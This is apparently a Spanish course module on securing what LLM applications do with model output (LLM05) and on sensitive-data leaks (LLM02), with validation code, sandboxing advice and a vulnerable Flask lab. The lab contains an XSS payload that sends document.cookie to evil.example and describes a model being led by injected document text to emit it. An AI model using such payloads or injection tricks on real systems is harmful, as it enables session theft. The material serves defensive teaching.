Cuando una aplicación llama a un modelo de lenguaje, lo que vuelve tiene toda la pinta de un texto normal: una frase, un bloque de código, un objeto JSON. Ese aspecto inocuo es la trampa. Si algo o alguien puede influir en lo que el modelo genera, ya sea la persona que escribe el prompt o un documento externo que el modelo procesa, entonces cualquier componente que reciba esa salida sin comprobarla hereda ese control. Un navegador que renderiza la respuesta tal cual, una base de datos que ejecuta la consulta que el modelo construyó, un intérprete que corre el código que el modelo escribió: todos ellos están tratando como dato de confianza algo que, en realidad, puede llevar la firma de un atacante.
El módulo 3 de este curso cubrió cómo se manipula la entrada de un modelo. Este módulo cubre el lado simétrico del mismo problema: qué pasa después, cuando esa salida (manipulada o no) llega a otro sistema. No vas a encontrar aquí una explicación de XSS, inyección SQL o SSRF desde cero: esas familias tienen su desarrollo completo en el curso de Hacking Web, y aquí interesa el camino que recorre la salida del modelo hasta llegar a ellas, no la técnica de explotación en sí. Lo que sí vas a encontrar es por qué ese camino se recorre tan a menudo sin ningún control en medio, cómo se corta de verdad, y por dónde se escapa información que nunca debería haber salido del sistema.
Qué aprenderás
- Por qué la salida de un modelo de lenguaje es una entrada no confiable para cualquier otro componente, y qué familia de vulnerabilidad hereda según el destino al que llega.
- Los ejemplos de vulnerabilidad, las estrategias de mitigación y los escenarios de ataque que documenta LLM05:2025 en el Top 10 de OWASP para aplicaciones LLM.
- Por qué pedirle al modelo que «responda solo con JSON válido» no es una validación, y cómo se valida de verdad una salida estructurada, con código comprobable.
- Qué aislamiento mínimo exige ejecutar código que ha escrito un modelo, y por qué ni
eval/execni un intérprete «restringido» bastan sin una frontera real de proceso o de máquina virtual. - Las vías reales de LLM02:2025 por las que se filtra información sensible: contexto de otra petición, memoria de conversación mal aislada, ejemplos incrustados en el prompt, datos de ajuste fino y registros de la propia aplicación.
- El conflicto entre guardar prompts y respuestas para poder detectar abuso, y minimizar los datos personales que esos mismos registros acumulan, con la referencia normativa exacta a cada obligación.
- Cómo se filtra información por canal lateral a través de mensajes de error, diferencias de tiempo de respuesta y metadatos, con casos documentados en investigación real.
- Una tabla que cruza destino de la salida, impacto probable y control que lo corta, pensada para usarse como lista de comprobación propia.
El error de diseño: la salida del modelo como texto de confianza
OWASP llama a esto LLM05:2025, «Manejo inadecuado de la salida», y lo define como la validación, el saneamiento y el manejo insuficientes de lo que genera un LLM antes de pasarlo a otros componentes o sistemas. La explicación de por qué importa es sencilla: si el contenido que genera el modelo puede controlarse mediante el prompt de entrada, entonces dejar que esa salida llegue sin filtro a una función privilegiada equivale a dar a quien controla el prompt acceso indirecto a esa función. No hace falta que el atacante toque el backend directamente. Le basta con lograr que el modelo escriba, por él, lo que el backend va a ejecutar.
El propio documento de OWASP distingue este riesgo de la sobredependencia (LLM09, la desinformación del Top 10): la sobredependencia trata problemas de que una persona confíe demasiado en que la respuesta del modelo es correcta; el manejo inadecuado de la salida trata de que un sistema automatizado confíe demasiado en que esa salida es segura de procesar. Son dos formas distintas de fiarse de algo que no se ha comprobado, y esta segunda es la que interesa aquí porque no depende de que ningún humano se equivoque: el fallo está en el código, no en el juicio de nadie.
Las condiciones que agravan el impacto, según el propio Top 10, son las que cabría esperar: que la aplicación le dé al modelo más privilegios de los que necesita, que sea vulnerable a inyección de prompt indirecta, que falte codificación de salida adecuada para cada contexto, y que no haya monitorización ni límite de velocidad sobre lo que el modelo produce. Los ejemplos de vulnerabilidad que documenta el Top 10 son, en esencia, una lista de destinos: la salida va directa a un intérprete de comandos o a exec/eval y termina en ejecución remota de código; el modelo genera JavaScript o Markdown que el navegador interpreta y termina en XSS; genera SQL sin parametrizar y termina en inyección; construye una ruta de archivo sin saneamiento y termina en salto de directorio; o rellena una plantilla de correo sin escapar y sirve de vehículo para phishing. El hilo común es el mismo: nadie comprobó la salida antes de dejarla actuar.
Codificación según el destino y validación real de un esquema
La mitigación que propone OWASP para este riesgo empieza con una frase que conviene tomar literalmente: tratar al modelo como a cualquier otro usuario, con un enfoque de confianza cero, y aplicar a su salida la misma validación de entrada que se le exigiría a un formulario público. A partir de ahí, el Top 10 recomienda codificación contextual según el uso que se le vaya a dar a esa salida (HTML para contenido web, escape SQL para consultas), consultas parametrizadas para toda operación de base de datos, políticas de seguridad de contenido estrictas contra XSS, y registro y monitorización para detectar patrones anómalos. Todo eso es correcto, y todo eso falla en la práctica por el mismo atajo: alguien decide que, como la salida «viene de nuestro propio modelo», no hace falta tratarla como se trataría cualquier otra entrada externa.
Por qué «responde solo con JSON» no es una validación
Es habitual pedirle al modelo, en el prompt de sistema, que devuelva únicamente un objeto JSON con una forma concreta. Esa instrucción reduce la probabilidad de que la respuesta traiga texto suelto alrededor, pero no es una validación: es una petición, y las peticiones al modelo no tienen fuerza de contrato. Un modelo puede devolver JSON perfectamente válido que, aun así, tenga el tipo equivocado en un campo, un valor fuera de rango, un campo que falta o uno que sobra. Algunas plataformas ofrecen también un modo de generación restringida por gramática que fuerza la forma sintáctica del JSON a nivel de token; ayuda a que el texto parsee sin errores, pero sigue sin comprobar rangos ni valores permitidos, así que tampoco sustituye la validación.
La comprobación real necesita dos pasos distintos y en ese orden: primero, que el texto sea JSON bien formado (json.loads ya hace esto y falla con una excepción si no lo es); segundo, que esa estructura cumpla un esquema con tipos, rangos y valores permitidos. El primer paso por sí solo dice muy poco. Este ejemplo lo deja claro: un modelo al que se le pide que calcule el importe de un reembolso devuelve un número negativo enorme. Es JSON válido de principio a fin.
import json
from jsonschema import validate, ValidationError
ESQUEMA_REEMBOLSO = {
"type": "object",
"properties": {
"importe": {"type": "number", "exclusiveMinimum": 0, "maximum": 500},
"moneda": {"type": "string", "enum": ["EUR", "USD"]},
},
"required": ["importe", "moneda"],
"additionalProperties": False,
}
salida_modelo = '{"importe": -999999, "moneda": "EUR"}'
datos = json.loads(salida_modelo) # esto NO falla: es JSON valido
print("json.loads() acepta la salida sin quejarse:", datos)
try:
validate(instance=datos, schema=ESQUEMA_REEMBOLSO)
print("la salida pasa la validacion de esquema")
except ValidationError as e:
print("jsonschema.ValidationError:", e.message)
Este es el resultado real de ejecutar ese código con la librería jsonschema 4.25.1:
json.loads() acepta la salida sin quejarse: {'importe': -999999, 'moneda': 'EUR'}
jsonschema.ValidationError: -999999 is less than or equal to the minimum of 0
json.loads() acepta el importe negativo sin ninguna queja, porque sintácticamente no hay ningún problema. La función validate() de jsonschema, en cambio, sí lo rechaza, porque el esquema declara que importe tiene que ser mayor que cero. Esa es la diferencia entre parsear y validar, y es exactamente la que «responde solo con JSON» nunca cubre.
Si tu equipo ya trabaja con Pydantic, el mismo control se expresa como un modelo tipado en vez de un diccionario de esquema, con el mismo resultado de fondo. Con Pydantic 2.13, model_validate_json() parsea el JSON y valida en el mismo paso, y levanta ValidationError si algo no cumple lo declarado en el modelo:
from typing import Literal
from pydantic import BaseModel, Field, ValidationError
class Reembolso(BaseModel):
importe: float = Field(gt=0, le=500)
moneda: Literal["EUR", "USD"]
salida_modelo = '{"importe": -999999, "moneda": "EUR"}'
try:
r = Reembolso.model_validate_json(salida_modelo)
print("validado:", r)
except ValidationError as e:
print("pydantic ValidationError:")
print(e)
Salida real de ese mismo código:
pydantic ValidationError:
1 validation error for Reembolso
importe
Input should be greater than 0 [type=greater_than, input_value=-999999, input_type=int]
For further information visit https://errors.pydantic.dev/2.13/v/greater_than
jsonschema encaja bien cuando el esquema viaja como dato, independiente del código; Pydantic encaja bien cuando el esquema es, a la vez, el tipo que vas a usar en el resto de la aplicación. Lo que no cambia entre las dos es el principio: la salida se valida contra una definición estricta antes de usarse para nada, nunca se asume correcta por venir en el formato pedido.
Codificación de salida según el contexto de destino
Superada la validación de estructura, queda la codificación, que resuelve un problema distinto: cómo escribir ese dato ya validado en el destino concreto sin que el destino lo interprete como código. La Cross Site Scripting Prevention Cheat Sheet de OWASP distingue varios contextos con reglas de codificación distintas para cada uno: entidad HTML para texto dentro del cuerpo de una página, un formato distinto para dentro de un atributo HTML, secuencias Unicode uXXXX para dentro de un bloque JavaScript, codificación porcentual para una URL, y un formato hexadecimal propio para dentro de CSS. La cheat sheet lo resume con una idea que conviene recordar antes de copiar una función de escape al azar: usar el método de codificación equivocado para el contexto puede introducir un fallo nuevo o romper la funcionalidad, en vez de arreglar nada.
En Python, para el contexto HTML, la librería markupsafe (la misma que usa Jinja2 por debajo) resuelve esto con una sola función:
from markupsafe import escape
resumen_html = "<p>" + str(escape(resumen_del_modelo(texto))) + "</p>"
escape() sustituye &, <, > y las comillas por su forma segura en HTML, y devuelve un objeto Markup que Jinja2 reconoce como ya escapado, así que no vuelve a escaparlo si acaba en una plantilla. Para SQL, la regla no es «escapar el texto a mano»: es usar consultas parametrizadas o un ORM que las genere por ti, de modo que la salida viaje siempre como parámetro y nunca como parte del texto de la sentencia; eso es terreno del curso de Hacking Web, no de este módulo. Para un intérprete de comandos, la regla equivalente es no construir nunca una cadena de shell con la salida del modelo dentro. La documentación oficial de Python lo dice sin rodeos en la sección de consideraciones de seguridad de subprocess: si se invoca el shell con shell=True, es responsabilidad de la aplicación escapar correctamente espacios y metacaracteres para evitar inyección de shell.
comando = "convert " + nombre_archivo_generado_por_el_modelo + " salida.png"
subprocess.run(comando, shell=True) # el modelo controla nombre_archivo_generado_por_el_modelo
subprocess.run(
["convert", nombre_archivo_generado_por_el_modelo, "salida.png"],
shell=False,
)
La segunda versión no necesita ningún escape manual: cada elemento de la lista llega al proceso como argumento independiente, sin que ningún carácter se interprete como separador de comandos. Es la misma lógica que las consultas parametrizadas, aplicada a la línea de comandos en vez de a SQL.
Generar código y ejecutarlo: cuando la inyección se convierte en ejecución remota
Hay un caso de manejo inadecuado de la salida que merece un apartado propio porque el impacto no depende de ningún contexto intermedio: cuando la propia aplicación ejecuta el código que el modelo acaba de escribir. El primer ejemplo de vulnerabilidad que cita el Top 10 de OWASP para LLM05 es exactamente este: la salida de un LLM se introduce directamente en un intérprete de comandos del sistema operativo o en una función como exec o eval, y el resultado es ejecución remota de código. El propio Top 10 dedica un escenario de ataque a generación de código en una empresa de software, y advierte de dos riesgos a la vez: que el código generado introduzca fallos como inyección SQL sin que nadie lo revise, y que el modelo «alucine» con paquetes que no existen, que un desarrollador instale confiando en el nombre y que resulten ser software malicioso publicado a propósito con ese nombre. Ninguno de los dos riesgos se evita ejecutando el código más rápido; se evita revisándolo antes, como se revisaría el de cualquier colaborador nuevo del equipo.
El problema aparece con más fuerza cuando la aplicación no solo genera código, sino que lo ejecuta ella misma, por ejemplo un asistente que resuelve cálculos escribiendo y corriendo su propio script. Ahí no hay revisión humana en cada turno, así que la pregunta cambia: no es «¿cómo evito ejecutar código malicioso?», es «¿qué puede hacer ese código si resulta serlo?». La respuesta es una frontera de aislamiento real.
eval() y exec() de Python no son esa frontera bajo ningún concepto: ejecutan el código en el mismo proceso del intérprete, con acceso a los mismos módulos, al mismo sistema de archivos y a las mismas variables de entorno que el resto de la aplicación. No existe una lista de funciones prohibidas que los haga seguros para código no confiable, porque el propio lenguaje permite reconstruir el acceso a cualquier función a partir de las que queden disponibles. Un intérprete «restringido» como RestrictedPython, pensado precisamente para esto, es honesto al respecto en su propia documentación: aclara que compilar el código a bytecode restringido «no es suficiente como entorno de sandbox, ya que todas las llamadas a librerías siguen estando disponibles», y que hacen falta medidas preventivas adicionales, ajenas por completo a lo que RestrictedPython puede ofrecer por sí solo. Ni siquiera la herramienta diseñada para este problema se presenta a sí misma como una solución completa.
El aislamiento que sí corta el problema de raíz opera a un nivel distinto del lenguaje: el proceso o la máquina virtual, no el intérprete. Un sandbox de aplicación como gVisor intercepta cada llamada al sistema del proceso aislado antes de que llegue al kernel real: su componente central, el Sentry, reimplementa en espacio de usuario la interfaz de llamadas al sistema de Linux desde cero, así que ninguna syscall pasa sin filtrar al host. Eso reduce mucho la superficie que un código malicioso puede tocar, frente a un contenedor normal que sí reenvía las syscalls al kernel compartido. Una microVM como Firecracker, la tecnología que usa AWS para dar servicio a Lambda, va un paso más allá: cada entorno aislado corre su propio kernel de invitado sobre KVM, con un modelo de dispositivos mínimo. La diferencia con un contenedor no es de grado, es de naturaleza: un contenedor comparte kernel con el host por diseño, una microVM no comparte kernel con nada.
Sin llegar a montar ninguna de las dos, un mínimo razonable para un laboratorio o una aplicación pequeña es un contenedor sin red, de solo lectura, sin privilegios de root y con límites de memoria y CPU:
docker run --rm
--network none
--read-only
--user 1000:1000
--memory 256m --cpus 0.5
--cap-drop ALL
codigo-generado-runner python /codigo/script.py
Ese comando no impide todo lo que gVisor o una microVM impiden (comparte kernel con el host, como cualquier contenedor), pero corta de raíz la exfiltración por red, la escritura persistente y buena parte de la escalada de privilegios trivial. Es un punto de partida razonable, no un sustituto de un aislamiento serio si el código procede de una fuente que no controlas del todo. El problema más amplio de qué autonomía se le da a un agente para actuar, no solo para generar texto, tiene su desarrollo completo en el módulo 6 de este mismo curso, sobre agencia excesiva.
LLM02: divulgación de información sensible por sus vías reales
El segundo riesgo de este módulo mira en la dirección contraria: no qué hace la aplicación con la salida del modelo, sino qué contiene esa salida que nunca debería haber salido. LLM02:2025 cubre la exposición de información personal identificable, detalles financieros, registros médicos, datos comerciales confidenciales, credenciales y documentos legales a través de lo que el modelo responde, ya sea porque esos datos estaban en su entrenamiento o porque están disponibles en el contexto de la conversación en curso. El propio Top 10 señala algo que conviene no perder de vista: añadir restricciones en el prompt de sistema sobre qué tipo de datos puede devolver el modelo ayuda, pero esas restricciones no siempre se respetan y se pueden eludir con inyección de prompt u otros métodos. Es la misma lección del apartado anterior aplicada al revés: una instrucción en el prompt no es un control técnico.
Contexto de otra petición y memoria de conversación mal aislada
La vía más directa de LLM02 no tiene que ver con el modelo en sí: es un fallo de aislamiento en la infraestructura que lo rodea, del mismo tipo que separaría los datos de dos clientes en cualquier aplicación multiusuario. El caso mejor documentado de esta categoría es el fallo que sufrió ChatGPT el 20 de marzo de 2023. Según la propia explicación técnica que publicó OpenAI, un fallo en la librería de cliente Redis redis-py provocaba que las peticiones canceladas dejaran conexiones corruptas que, al reutilizarse, devolvían datos de caché de otro usuario; un cambio del lado del servidor esa misma jornada disparó una oleada de cancelaciones que hizo mucho más frecuente el fallo. El resultado fue que algunos usuarios vieron títulos de conversaciones ajenas en su historial, y que durante una ventana de nueve horas esa mañana (1 a 10 de la madrugada, hora del Pacífico), el 1,2 % de los suscriptores de ChatGPT Plus tuvo expuestos, a otro usuario activo en ese momento, su nombre, correo electrónico, dirección de facturación, los cuatro últimos dígitos de su tarjeta y su fecha de caducidad (no el número completo).
Nada de eso tuvo que ver con que el modelo «revelara» nada en el sentido habitual del término: fue una caché compartida entre peticiones de usuarios distintos sin la comprobación de identidad que debería haber tenido. Para cualquier aplicación propia con memoria de conversación, historial persistente o resultados intermedios cacheados entre peticiones, la lección directa es esa comprobación: cada lectura de un dato cacheado o de contexto de conversación debe verificar que pertenece a quien está haciendo la petición actual, nunca asumirlo solo porque la clave de caché coincidió.
Ejemplos incrustados en el prompt
Es habitual construir el prompt de sistema con ejemplos concretos de cómo debe responder el modelo (la técnica que en inglés se llama few-shot). El problema aparece cuando esos ejemplos son datos reales de un cliente real, en vez de datos inventados a propósito: un ticket de soporte con el nombre y el correo de alguien, una conversación real usada como plantilla de tono. Ese contenido vive dentro del prompt de sistema, y el prompt de sistema puede filtrarse (LLM07:2025, cubierto en el módulo 2 de este curso) o el modelo puede citarlo literalmente si alguien le pide, con la formulación adecuada, que repita sus instrucciones. La forma más simple de cerrar esta vía es la más aburrida: cualquier dato que entre en un ejemplo dentro de un prompt debe estar anonimizado o inventado de origen, igual que se trataría un dato real que fuera a aparecer en documentación pública.
Datos que entraron en un ajuste fino y salen después
Cuando un modelo se ajusta con datos propios (tickets de soporte, transcripciones, documentos internos), esos datos pueden reaparecer después en la salida del modelo ya en producción, palabra por palabra o reconstruidos parcialmente a partir de lo que el modelo memorizó durante el ajuste. El propio Top 10 de OWASP cita como ejemplo el caso «Proof Pudding» (CVE-2019-20634), en el que datos de entrenamiento filtrados permitieron a un atacante extraer e invertir el modelo, y con eso, saltarse los controles de seguridad de los filtros de correo que ese modelo alimentaba. Este es terreno compartido con la taxonomía de NIST AI 100-2 y con las técnicas de extracción de modelo de MITRE ATLAS que ya viste en el módulo 2 de este curso: aquí basta con retener que el ajuste fino, aparte de mejorar el modelo, hace que datos que antes vivían en una base de datos protegida pasen a vivir, de forma mucho menos controlable, dentro de los pesos del modelo.
Registros de la aplicación que guardan prompts completos
La última vía, y la que más a menudo se pasa por alto porque no depende de ningún fallo técnico sino de una decisión de diseño deliberada, es el propio sistema de registro de la aplicación. Si tu aplicación guarda el prompt completo y la respuesta completa de cada interacción (algo, por otro lado, casi imprescindible para poder investigar un incidente o detectar abuso), ese registro es en la práctica una base de datos con todo lo que cualquier usuario haya escrito, incluido cualquier dato personal que haya pegado sin pensarlo. Esta vía merece su propio apartado, porque el conflicto que plantea no tiene una solución tan directa como las anteriores.
El problema de los registros: detectar exige guardar, proteger exige minimizar
Guardar prompts y respuestas no es un capricho de auditoría. Es la materia prima con la que se construye buena parte de la detección de abuso sobre una aplicación de IA (el módulo 13 de este curso, sobre detección, respuesta e IA en la sombra, lo desarrolla entero), y sin ese historial es mucho más difícil reconstruir qué pasó cuando algo sale mal. Al mismo tiempo, ese mismo historial es, con casi total seguridad, un fichero con datos personales dentro, sujeto a las mismas obligaciones que cualquier otro tratamiento de datos personales de un usuario europeo.
El Reglamento General de Protección de Datos no dice nada específico sobre modelos de lenguaje, pero sus principios generales del artículo 5 se aplican sin matices a un registro de prompts. El apartado 1.b exige que los datos se recojan con fines determinados y no se traten de forma incompatible con ellos. El apartado 1.c, el principio de minimización, exige que los datos personales sean adecuados, pertinentes y limitados a lo necesario en relación con esos fines. Y el apartado 1.e, la limitación del plazo de conservación, exige que los datos se conserven de forma que permitan identificar a los interesados solo durante el tiempo necesario para esos fines, no más. Un registro que guarda el texto íntegro de cada prompt «por si acaso» durante años, sin un fin declarado ni un plazo de borrado, incumple los tres principios a la vez, con independencia de lo útil que ese registro le resulte algún día al equipo de seguridad.
El Reglamento europeo de IA empuja en la dirección contraria, con un matiz de calendario importante. Su artículo 12, «Conservación de registros», exige que un sistema de IA de alto riesgo permita técnicamente el registro automático de acontecimientos a lo largo de su ciclo de vida, y el artículo 19, «Archivos de registro generados automáticamente», obliga a sus proveedores a conservar esos archivos un período adecuado a la finalidad del sistema, de al menos seis meses, «salvo que el Derecho de la Unión o nacional aplicable, en particular el Derecho de la Unión en materia de protección de datos personales, disponga otra cosa», en palabras exactas del propio artículo: el Reglamento de IA reconoce él mismo que la protección de datos puede imponer límites distintos a los suyos. Esta obligación todavía no es exigible para la mayoría de sistemas: el Reglamento (UE) 2026/1744, el «Digital Omnibus» sobre IA en vigor desde el 27 de julio de 2026, aplazó dieciséis meses las obligaciones de alto riesgo del anexo III (artículos 12 y 19 incluidos), del 2 de agosto de 2026 original al 2 de diciembre de 2027, y hasta el 2 de agosto de 2028 para los integrados en un producto ya regulado (anexo I). Hoy, por tanto, esos dos artículos son una obligación que se avecina, no una ya exigible; la minimización del artículo 5 del RGPD, en cambio, es de aplicación plena desde 2018 para cualquier registro con datos personales. El calendario completo y qué convierte a un sistema en «de alto riesgo» tiene su lugar propio en el módulo 14 de este curso y en el curso de GRC; aquí basta con retener que la tensión entre guardar y minimizar es real, y que ninguna de las dos normas gana por defecto.
La forma práctica de convivir con las dos obligaciones a la vez no es elegir un bando, es diseñar el registro con capas distintas según cuánto tiempo y cuánto detalle necesita cada uso:
- Redactar o enmascarar antes de escribir, no después: si tu aplicación puede detectar patrones típicos de datos personales (correos, números de tarjeta, identificadores de documento) en el prompt antes de guardarlo, sustituirlos por un marcador es mucho más barato y más fiable que intentar purgarlos de un registro ya escrito meses después.
- Separar el identificador de usuario del contenido del prompt, y guardar el vínculo entre ambos en un sitio distinto con su propio control de acceso, de modo que quien analice patrones de abuso no necesite ver, a la vez, quién escribió cada cosa.
- Usar retenciones distintas según el propósito: el texto completo del prompt, útil para investigar un incidente concreto, con una ventana corta; las métricas agregadas o ya anonimizadas que alimentan la detección de tendencias, con una ventana mucho más larga, porque ya no identifican a nadie.
- Documentar el propósito y el plazo de cada capa de registro por escrito, no solo implementarlo: es lo que el artículo 5.1.b exige como fin determinado, y es también lo primero que va a pedir cualquier auditoría.
El equipo que diseña las reglas de detección sobre estos registros, cubierto en el curso de Ingeniería de detección (SOC), casi nunca necesita el texto íntegro de cada prompt para detectar un patrón de abuso; necesita señales derivadas de ese texto (frecuencia, longitud, coincidencia con firmas conocidas, cambios bruscos de comportamiento). Diseñar el registro pensando primero en esas señales, y guardando el texto íntegro solo para el subconjunto de casos que de verdad requieren investigación manual, reduce la cantidad de datos personales en reposo sin renunciar a la capacidad de detectar nada.
Fugas por canal lateral: mensajes de error, tiempo de respuesta y metadatos
Hay una última familia de fugas que no pasa por el contenido de la respuesta en absoluto: información que se filtra por cómo responde el sistema, no por lo que dice.
Los mensajes de error son el canal más antiguo y el más fácil de arreglar. El propio Top 10 de OWASP remite aquí a la guía «OWASP API8:2023 Security Misconfiguration» para evitar que un mensaje de error o un detalle de configuración interna se filtre al usuario: una traza completa de Python en la respuesta HTTP, un mensaje que revela el nombre exacto de una tabla de base de datos, o una excepción no controlada que expone la ruta interna de un archivo son formas de LLM02 tan reales como cualquier filtración a través del propio modelo, y en la práctica suelen ser más fáciles de encontrar para un atacante porque no requieren manipular el modelo en absoluto: basta con provocar un error.
Las diferencias de tiempo de respuesta son un canal menos obvio pero igual de real, y hay investigación reciente que lo demuestra sobre sistemas en producción, no en teoría. Muchas plataformas de inferencia usan una caché de prompt que reutiliza el cálculo ya hecho para un fragmento de texto procesado antes, y responden más rápido cuando hay coincidencia. El artículo «Auditing Prompt Caching in Language Model APIs» (Gu, Li, Kuditipudi, Liang y Hashimoto, ICML 2025) auditó siete proveedores reales de API midiendo esa diferencia hasta el primer token, y encontró evidencia de que, en al menos uno de ellos, la caché se compartía entre organizaciones distintas: alguien podía inferir, por la latencia, si un fragmento de texto ya lo había procesado otro cliente antes. El mismo trabajo reveló, por esa vía indirecta, un detalle de arquitectura que no estaba documentado públicamente. La lección para una caché compartida propia es la misma que en el fallo de aislamiento anterior: comprobar a quién pertenecía la petición anterior antes de compartir el beneficio de la caché, o esa velocidad extra se convierte en una señal legible por un atacante.
Los metadatos, por último, cubren un abanico amplio: cabeceras HTTP que revelan la versión de un componente interno, identificadores de petición correlacionables entre peticiones distintas, recuentos de tokens que delatan indirectamente la longitud de un prompt de sistema que se quería mantener oculto. El caso más elaborado de esta categoría es el canal lateral de longitud de token: el artículo «What Was Your Prompt? A Remote Keylogging Attack on AI Assistants» (Weiss, Ayzenshteyn, Amit y Mirsky, USENIX Security 2024) mostró que, aunque el tráfico de un asistente que responde token a token vaya cifrado con TLS, el tamaño de cada paquete revela cuántos caracteres tiene cada token, porque el cifrado no oculta la longitud de lo que cifra. Con ese patrón de longitudes, sin descifrar nada, los autores reconstruyeron buena parte de conversaciones reales. La causa de fondo no es un fallo del cifrado: es que enviar la respuesta token a token, cada uno en su propio paquete, expone un patrón que enviarla de una sola vez no expondría. Una aplicación propia que transmita la salida en streaming hereda esta exposición si no la tiene en cuenta, por ejemplo agrupando tokens antes de enviarlos o añadiendo relleno de tamaño variable.
Tabla: destino de la salida, impacto y control
| Destino de la salida del modelo | Qué puede pasar | Qué control lo corta |
|---|---|---|
| Navegador (HTML/DOM) | XSS: robo de sesión, defacement, pivote a otros ataques del lado del cliente | Codificación contextual (autoescape de la plantilla o markupsafe.escape()) más una CSP estricta |
| Consulta a base de datos | Inyección SQL: lectura, alteración o borrado de datos | Consultas parametrizadas o un ORM; nunca interpolar la salida en el texto de la sentencia |
| Intérprete de comandos del sistema operativo | Ejecución remota de código | Nunca pasar la salida a exec/eval/os.system; si hace falta ejecutar algo externo, subprocess con lista de argumentos y shell=False |
| Motor de plantillas de servidor | Inyección de plantillas del lado del servidor, que en varios motores termina también en ejecución remota de código | Tratar la salida como dato de la plantilla, nunca reconstruir el propio texto de la plantilla con ella |
| Llamada a otra API o URL | SSRF: acceso a servicios internos, metadatos de nube, pivote de red | Validar el destino contra una lista de permitidos; nunca construir la URL solo con la salida del modelo |
| Sistema de archivos (rutas) | Salto de directorio, sobrescritura de archivos fuera del directorio previsto | Sanear y normalizar la ruta, y comparar el resultado contra un directorio base permitido |
| Intérprete de código embebido en la propia aplicación | Ejecución remota de código dentro del proceso de la aplicación | Frontera real de aislamiento (contenedor sin red y sin privilegios, gVisor, microVM); nunca eval/exec sin esa frontera |
| Registro o log de la aplicación | Divulgación de información sensible si el log se comparte, se filtra o se conserva más de lo necesario | Minimización y redacción antes de escribir, retención por capas según el propósito de cada dato |
Ejercicio: monta la app vulnerable, arréglala y compruébalo
Todo el software de este ejercicio es gratuito: Python 3, Flask, Jinja2 (que Flask instala como dependencia), MarkupSafe y jsonschema. No hace falta ninguna clave de API ni ningún modelo real: el ejercicio simula la respuesta del modelo con una función que devuelve la entrada tal cual, que es exactamente lo que ocurriría si un modelo real repitiera un fragmento de texto malicioso incrustado en el documento que estaba resumiendo.
Crea un entorno virtual e instala las dependencias:
python -m venv venv
venvScriptsactivate
pip install flask jsonschema pydantic
python ejercicio_salida.py
El script define dos rutas casi idénticas. La primera, deliberadamente vulnerable, envuelve la salida del modelo en Markup() antes de pasarla a la plantilla, lo que le dice a Jinja2 «este texto ya es seguro, no lo escapes»:
from flask import Flask, request, render_template_string
from markupsafe import Markup
app = Flask(__name__)
PLANTILLA = '<h1>Resumen generado</h1><div id="resumen">{{ resumen }}</div>'
def resumen_del_modelo(texto):
# aqui iria la llamada real al modelo; para el ejemplo, se devuelve
# tal cual lo que llegaria en la respuesta del modelo
return texto
@app.route("/resumen", methods=["POST"])
def resumen():
articulo = request.form.get("articulo", "")
resumen = resumen_del_modelo(articulo)
# FALLO: Markup() marca el texto como "seguro" sin haberlo comprobado
return render_template_string(PLANTILLA, resumen=Markup(resumen))
Envía como «artículo» un texto que incluya una carga de prueba, por ejemplo Buen articulo. <script>fetch('https://evil.example/x?c='+document.cookie)</script>, usando el cliente de pruebas de Flask (app.test_client()) para no necesitar un navegador aparte. Esta es la salida real de esa petición contra el código de arriba:
<h1>Resumen generado</h1><div id="resumen">Buen articulo. <script>fetch('https://evil.example/x?c='+document.cookie)</script></div>
La etiqueta <script> llega intacta al HTML de respuesta. Cualquier navegador que renderice esta página la ejecutaría. Ahora quita el Markup() de la línea final, dejando que el autoescape por defecto de Jinja2 haga su trabajo (Flask activa autoescape automáticamente incluso para plantillas construidas con render_template_string, no solo para archivos .html):
@app.route("/resumen", methods=["POST"])
def resumen():
articulo = request.form.get("articulo", "")
resumen = resumen_del_modelo(articulo)
# Jinja2 aplica autoescape por defecto: no hace falta llamar a nada
# mas, solo dejar de marcar el texto como seguro con Markup()
return render_template_string(PLANTILLA, resumen=resumen)
Repite la misma petición contra esta segunda ruta. Esta es la salida real:
<h1>Resumen generado</h1><div id="resumen">Buen articulo. <script>fetch('https://evil.example/x?c='+document.cookie)</script></div>
El texto del «script» ahora llega como texto literal, escapado carácter a carácter, dentro del <div>. El navegador lo mostraría como texto en pantalla, no lo ejecutaría. Esa es toda la diferencia entre las dos versiones, y es la diferencia entre confiar en la salida del modelo por costumbre y tratarla, de verdad, como el dato no confiable que es.
Para la segunda parte, reutiliza el código de validación de esquema con tres entradas propias: una con el importe en rango, una con el importe negativo del ejemplo, y una con la moneda fuera de la lista permitida (por ejemplo "GBP"). Confirma que json.loads() acepta las tres sin queja, y que jsonschema.validate() rechaza las dos últimas indicando qué regla del esquema se incumplió. Repite el experimento con la versión en Pydantic y compara los dos mensajes de error: uno describe el problema en términos del esquema JSON, el otro en términos del campo tipado del modelo Python. Verifica en tu entorno que las versiones de las librerías se acercan a las usadas aquí (Flask 3.1, Jinja2 3.1, MarkupSafe 3.0, jsonschema 4.25, Pydantic 2.13).
Preguntas frecuentes
¿Debo confiar más en la salida de un modelo que he ajustado yo mismo con mis propios datos que en la de un modelo de terceros?
No, por dos motivos. Un modelo ajustado sigue siendo manipulable por inyección de prompt igual que cualquier otro, y ajustarlo con datos propios abre la vía de fuga que viste en este módulo: esos datos pueden reaparecer en la salida de producción. Un modelo propio no es más confiable por defecto, es una superficie distinta con sus propios riesgos.
Si valido la estructura del JSON con un esquema, ¿ya no necesito codificar la salida para el navegador?
No, son dos controles independientes que resuelven problemas distintos. La validación de esquema comprueba que los datos tengan la forma, el tipo y el rango esperados. La codificación de salida comprueba que, al escribir esos datos ya validados en un destino concreto (HTML, SQL, una línea de comandos), ese destino no los interprete como código. Un campo de texto libre puede pasar perfectamente la validación de esquema (es una cadena de texto, que es lo que se esperaba) y aun así contener una carga de XSS si nadie lo codifica antes de escribirlo en una página.
¿Puedo dejar que el modelo genere y ejecute código sin sandbox si reviso yo cada ejecución antes de que corra?
Si de verdad hay una persona revisando cada ejecución, eso es en sí mismo un control razonable. El problema aparece en cuanto esa revisión se salta, se automatiza sin que nadie se dé cuenta, o deja de escalar porque el volumen crece más rápido que la capacidad de revisar. El aislamiento a nivel de proceso o de máquina virtual no sustituye a la revisión cuando esta existe de verdad; la respalda para cuando, inevitablemente, deje de ocurrir en algún caso.
¿Cuánto tiempo tengo que guardar los prompts y las respuestas de mis usuarios?
No hay un número único válido para toda aplicación: el RGPD exige que sea «el necesario para el fin», no un plazo fijo, y ese fin lo define cada organización. Lo que sí es exigible es que exista un fin declarado por escrito, un plazo asociado a él, y un mecanismo real de borrado que lo cumpla. Si tu aplicación entra en el terreno de los sistemas de alto riesgo del Reglamento europeo de IA, el artículo 19 fija un mínimo de seis meses, aunque su aplicación está aplazada hasta diciembre de 2027 o agosto de 2028 según el caso, como se explicó en este módulo.
